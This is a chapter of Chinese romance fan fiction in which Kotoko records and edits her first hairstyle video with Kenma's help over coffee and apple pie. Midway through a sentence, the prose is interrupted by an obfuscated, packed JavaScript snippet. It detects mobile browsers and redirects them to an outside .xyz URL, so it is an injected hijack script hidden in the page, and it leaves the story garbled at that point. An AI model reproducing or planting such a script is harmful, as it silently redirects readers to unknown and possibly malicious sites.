蓦地，昨日前辈那句莫名的对她的发型的评价闪现在她的脑海中，再结合起今天走在路上时候被炎热侵袭的痛苦。 好像有想法了。 她打算做一个关于夏日的清爽发型合集。 因为事先没有料到可以第二天就能在前辈家直接进行视频的录制，相原琴子又往入江宅跑了一趟，将自己往日里的发饰通通打包过来，还顺便换了身任何造型都可以驾驭的藏青色娃娃衫。 依葫芦画瓢地照着网上的教程打开相机的录像功能，再调节好周围的灯效，她开启了第一次录制。 但是，进展很不顺利。 她发现一旦面对着镜头，自己的语言就会变得格外的苍白，只会重复说着“先这样，再那样”，根本起不到一点教学效果。 再加上后面不小心移动了座位，有一半的时间她就只有半边脸出现在了画面中。 连着出错几次后，她也不再急着开始直接录制，而是开始上网不断地翻看着网上其它博主的视频，找寻经验。 再一步步重新调试镜头以及打光灯的位置，希望呈现出最好的效果。 等到孤爪研磨处理完手上的这一份报表抬起头时，就见琴子正站着盯着相机反复翻看着刚刚录下那一片段。 周围的灯光打得很亮，亮白色的光线漫过她的发顶，顺着发丝流淌下来，给她的发梢镀上一层毛茸茸的银边。几缕碎发垂在她小巧的脸颊旁，被灯光照得近乎透明。 他放下手中的资料，轻手轻脚地走到了她身边，俯下身安静地陪她一起回看。 屏幕上的画面比他预想得还要出色，虽然也有不小瑕疵。 “怎么样？” 相原琴子侧开身子，让出了一个位置给他。 “感觉比我想象中的要难得多。” 孤爪研磨轻轻点了下脑袋，开口，“那……” “但我是不会轻易放弃的！” 干劲十足的发言打断了他的提议，他顿了顿，忍不住，“我是说要休息一下吗？” “这次，我有准备咖啡……” 研磨前辈的声音一直清冷淡漠的，此刻难得柔和下来的嗓音却带着安抚人心的魔力，也让相原琴子因为迟迟不能进入状态而有些焦躁的心情得到了缓释。 她也堆上笑意，“那我先去冲咖啡！” “我也来帮忙。” “咖啡我一个人就可以准备好。前辈的话，可以帮忙切一下蛋糕吗？” 苹果派早在她刚到的时候就放在了冰箱里冷藏，此刻拿出来还带着清冽的凉意，酥松的派皮泛着浅黄的光泽，迎面是带着冷气的香甜。 很快就将派切盘装好，他闲下来半倚着门框，看着对方以行云流水地动作拉高水壶冲泡着研磨好的黑色粉末。 她没有说谎。 她对此确实很擅长。 苦涩的香味逐渐传入他的鼻子，带着咖啡豆特有的焦香，冒起的热气模糊了她的脸庞。 恍惚间，他惊觉自己似乎在享受这样和她简单的独处，就算没有对话，却有种难以言喻的默契在悄然流淌。 少女带着笑容朝他走来。 将咖啡与苹果派在餐桌上摆放整齐，白色瓷盘边缘的凝结出水珠，咖啡杯里的热气袅袅升起，画出淡淡的雾痕。 孤爪研磨拉过椅子坐下，不声不响地等待着琴子拍完照片。 他单手捏着杯柄，抬起杯子抿了一口，皱了皱眉头。 说实话，他是个俗人。 只从口味来说，尝不出这杯咖啡与之前喝的那些有什么区别，反而因为没有糖奶的修饰，那股涩意比往常更直接。 他向来不太擅长应对这种苦味。 但当他看到对方那双黑曜石般晶亮的眼眸时，他难得说了句违心话。 “很好喝。” 低头又抿了一口咖啡，苦味依旧在舌尖蔓延，但这一次咖啡带来的暖意直达他的胸腔，再慢慢漫过四肢百骸。 再将一口苹果派放入嘴中，酥松的派皮在齿间碎裂，裹着糖浆的苹果果肉随之化开，清甜的果香席卷了他的口腔。 好甜。 太甜了。 他从来没吃过这么甜的苹果派。 他敛下眼眸，不再去看那位因为品尝到甜食而眯起眼睛一脸享受的少女，再舀起一口送入嘴中。 …… 因为有事可做，下午的时间过得很快。 在和孤爪研磨商榷过后，相原琴子最终选择以后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16177034|180707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 期配音的方式完成视频，因此录制也顺畅了很多。 在一步步的摸索下，她最终挑选出了她自认为最为完美的一版。 剪辑，配音，再学着加了一些可爱的文字并且着重挑选出了其中一帧作为封面，她终于完成了第一个视频的制作。 一股难以言喻的满足感油然而生。 这种有实实在在实物作为支撑所达到的幸福感是任何虚幻的情感都无法匹及的。 但在拿着最后剪辑完整的成品希望得到研磨前辈的建议时，她却有种小学时候给语文老师批作文的心惊胆战感。 尤其是当她无法从对方那种向来懒得做表情的脸上看不出任何信号。 他不咸不淡地问着她，没有任何清晰的点评，“琴子觉得满意吗？” 没错，就是这种压力。 这个时候一般来说不管是她说满意还是不满意老师都会挑出她的毛病。 她犹豫了一下，再度往他的脸上瞄了一下，磕磕绊绊地开口，“我是满意的……” 但显然，孤爪研磨是个好老师，他声音淡淡地夸赞道，“那它就是最好的作品了。” 接下来他还发表了一系列细节方面提高的建议，但相原琴子已经听不进去了。 那句“它是最好的”一直在她耳边盘旋，她冷不丁“嘿嘿”笑出了声。 孤爪研磨瞬间变成了宇宙猫猫头，疑惑地抬头看着她，“怎么了？一直傻笑？” “总感觉很开心。” “嗯？” “感觉自己终于做成了某件事情，光是能得到前辈的认可我已经很开心了。” 如果没有成为前辈的助理，如果没有他一次一次的鼓励，她绝对成功不了。 因此不论这个视频会在网上受欢迎，还是不会，都不重要了。 “真的很感谢前辈。” 被这么真切的感谢，孤爪研磨有些不习惯地别开脸，因为随意扎起而掉下来的金黑相间的碎发挡住了他泛着红色的耳尖。 “那就继续加油吧。” “嗯嗯。” 没有人说话，一种微妙的气氛忽然在房间蔓延开来，他清了清嗓子，略显生硬地扯开了话题。 “哦对，别忘记我的视频……” 相原琴子猛一抬头，一脸你在骗我的表情，“前辈昨天不是还说不用着急的吗？” “现在有点着急了……”他撇开目光，“琴子的视频，需要修改的地方我会帮你再标出来……” “好诶！” 晚上没有直播，他们一晚上都在与编辑视频作战。 最终在孤爪研磨的严格把控下，她上传完了属于自己的第一个视频。相原琴子心满意足地回到自己的床上，将自己一整个埋在被子中，感觉整个人都轻飘飘的。 她觉得今天是她人生中最有意义的一天也不为过了。 忽然，“叮咚”一声，她收到了来自纯子和理美的群聊信息。 信息不长，却足以震撼到让她从美梦中惊醒。 【理美：琴子，考试你开始复习了吗？】 她怎么可以忘记这茬，暑期的到来也意味着期末的来临。 天塌了。